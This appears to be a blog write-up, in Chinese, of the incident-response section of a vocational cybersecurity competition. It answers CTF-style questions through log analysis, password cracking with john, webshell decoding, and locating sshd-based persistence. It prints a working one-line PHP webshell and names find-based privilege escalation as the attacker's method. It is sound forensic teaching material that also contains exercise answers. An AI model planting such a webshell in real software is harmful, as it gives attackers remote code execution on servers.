某省职业院校技能大赛 高职组“信息安全管理与评估”赛项第二部分：应急响应

！！！需要环境可私信博主！！！

！！！若有错误欢迎指正！:)

目录

1、提交攻击者的两个内网IP地址

2、提交网站管理员用户的用户名和密码

3、提交黑客得到mysql服务的root账号密码的时间

4、查找黑客在WEB应用中写入的恶意代码，提交文件绝对路径

5、查找黑客在WEB应用中写入的恶意代码，提交最简单的形式（格式： ）

6、分析攻击者的提权手法，提交攻击者通过哪一个指令成功提权

7、服务器内与动态恶意程序相关的三个文件绝对路径

8、恶意程序对外连接的目的IP地址

1、提交攻击者的两个内网IP地址

筛选出日志中出现的IP地址并进行排序

cat access_log* | awk '{print $1}' | sort | uniq -c | sort -nr

这里我查看了几个IP的流量最终发现 192.168.21.1 和192.168.21.137 存在攻击行为

flag{192.168.21.1,192.168.21.137}

2、提交网站管理员用户的用户名和密码

在本地网站文件中，全局搜素查看存放数据库账号密码的文件

grep -rE "username|password|databases" ../

发现一个 settings.php 文件内容似乎与数据库相关，查看内容找到了数据库的账号和密码

使用账号密码登录到本地数据库中，注意这里需要加上 127.0.0.1 才可以连接到数据库中

查库查表最后菜 users 表中发现 admin 的账户和加密的密码

将密码 copy 出来，使用 john 工具进行破解，最后得到密码为 1111

flag{admin:1111}

3、提交黑客得到mysql服务的root账号密码的时间

继续审计日志文件，可以发现攻击者有几条日志的内容进行了base64加密

解码base64内容，发现黑客正在读取服务器数据库的账号密码信息，所以确定时间为：30/Jun/2020:04:09:12

flag{30/Jun/2020:04:09:12}

4、查找黑客在WEB应用中写入的恶意代码，提交文件绝对路径

查看日志的时候发现这样的一大段可疑流量

丢入Cyber进行解码后发现是使用取反 ~ 运算的变形webshell，所以确定该文件是黑客写入的恶意代码

详细可了解：不包含数字字母的WebShell - FreeBuf网络安全行业门户

查找一下文件存储的位置

flag{/var/www/html/cron.php}

5、查找黑客在WEB应用中写入的恶意代码，提交最简单的形式（格式：<?php xxxx?>）

最终的格式为 assert($_POST[_]);

flag{<?php assert($_POST[_]); ?>}

6、分析攻击者的提权手法，提交攻击者通过哪一个指令成功提权

分析这条日志内容可以发现攻击者利用的是 find 提权

7、服务器内与动态恶意程序相关的三个文件绝对路径

使用 pstree 查看系统运行的程序

发现 sshd 进程下直接生成了一个 sleep 命令不同寻常，查看 sshd 文件

其中有一个永真的循环脚本，来消耗网络资源，再有 ssh 来调用

所以这里与动态恶意程序相关的三个文件绝对路径为：/etc/ssh/sshd，/bin/sshd，/usr/lib/systemd/system/ssh.service

flag{/etc/ssh/sshd,/bin/sshd,/usr/lib/systemd/system/ssh.service}

8、恶意程序对外连接的目的IP地址

使用 netstat 命令查看网络端口状态

flag{47.113.101.105}